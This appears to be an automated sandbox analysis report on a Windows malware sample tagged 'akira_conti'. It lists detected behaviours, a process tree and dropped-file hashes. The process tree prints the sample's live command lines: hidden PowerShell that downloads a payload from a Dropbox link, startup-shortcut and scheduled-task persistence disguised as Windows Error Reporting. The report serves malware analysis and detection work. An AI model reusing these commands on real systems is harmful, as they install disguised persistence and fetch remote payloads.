Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/08/2026, 02:40

General

  • Target
    2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
  • Size 531KB
  • Sample260805-c552jscc54
  • SHA256 f96e938dda97cab4c7adfa40056a3511fb2d0d7108557695e9eb820ce3cb5aaf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Looks for VirtualBox drivers on disk 2 TTPs 6 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell and hide display window.

  • Looks for VMWare drivers on disk 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 7 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe"
    1⤵
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare drivers on disk
    • Checks computer location settings
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:4124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4660
    • C:\Windows\system32\cmd.exe
      "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5100
      • C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4132
        • C:\Windows\system32\cmd.exe
          "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3304
          • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
            C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
            5⤵
            • Looks for VirtualBox drivers on disk
            • Looks for VMWare drivers on disk
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4764
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
              6⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3280
    • C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn WindowsErrorReporting /tr C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /sc onlogon /ru DIJHFWDH\Admin /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2660
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Looks for VirtualBox drivers on disk
      • Looks for VMWare drivers on disk
      • Executes dropped EXE
      PID:1480
  • C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
    C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
    1⤵
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare drivers on disk
    • Checks computer location settings
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:2456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3792
    • C:\Windows\system32\cmd.exe
      "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4940
      • C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        3⤵
        • Executes dropped EXE
        PID:4816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1068
    • C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn WindowsErrorReporting /tr C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /sc onlogon /ru DIJHFWDH\Admin /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:632
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Looks for VirtualBox drivers on disk
      • Looks for VMWare drivers on disk
      • Executes dropped EXE
      PID:456
  • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
    C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
    1⤵
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare drivers on disk
    • Executes dropped EXE
    PID:2348

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        monitor.exe

        • Path C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        • Size 531KB
        • SHA256 f96e938dda97cab4c7adfa40056a3511fb2d0d7108557695e9eb820ce3cb5aaf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        werdata.db

        • Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
        • Size 186KB
        • SHA256 ca4715605b4e8b6e32b6439a20c7a8e9e8a5eda56155fb563bb6aca13e531e6c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 7b7302b83490cc0ca8a5b355a938e2dfaa608f25fce654573b30f347d2a0166e
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 3eb12f5e02a7aad8764186e1f62d9cebcc8667c854ebf4356fe404f042b84ec1
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5ebacd6ee97e90cd3e6b896ecd9040a9edf00497f4554b7bbf62f7d83a094745
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_ko4ltyps.mts.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ko4ltyps.mts.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        monitor.lnk

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk
        • Size 1KB
        • SHA256 138ce411af2792acd96c1b845f33807b8996d6165875aaedd76cb86ee420a4a3
        • MD5 SHA1 SHA512 TLSH

        memory/456-82-0x00007FF666070000-0x00007FF6660DE000-memory.dmp

        memory/1480-66-0x00007FF666070000-0x00007FF6660DE000-memory.dmp

        memory/2348-68-0x00007FF666070000-0x00007FF6660DE000-memory.dmp

        memory/2456-70-0x00007FF783030000-0x00007FF78309E000-memory.dmp

        memory/2456-81-0x00007FF783030000-0x00007FF78309E000-memory.dmp

        memory/3280-17-0x00000249952B0000-0x00000249952C0000-memory.dmp

        memory/4124-65-0x00007FF7BE5E0000-0x00007FF7BE64E000-memory.dmp

        memory/4132-69-0x00007FF783030000-0x00007FF78309E000-memory.dmp

        memory/4660-3-0x0000029D71A30000-0x0000029D71A40000-memory.dmp

        memory/4660-4-0x0000029D719B0000-0x0000029D719D2000-memory.dmp

        memory/4764-71-0x00007FF666070000-0x00007FF6660DE000-memory.dmp

        memory/4816-72-0x00007FF783030000-0x00007FF78309E000-memory.dmp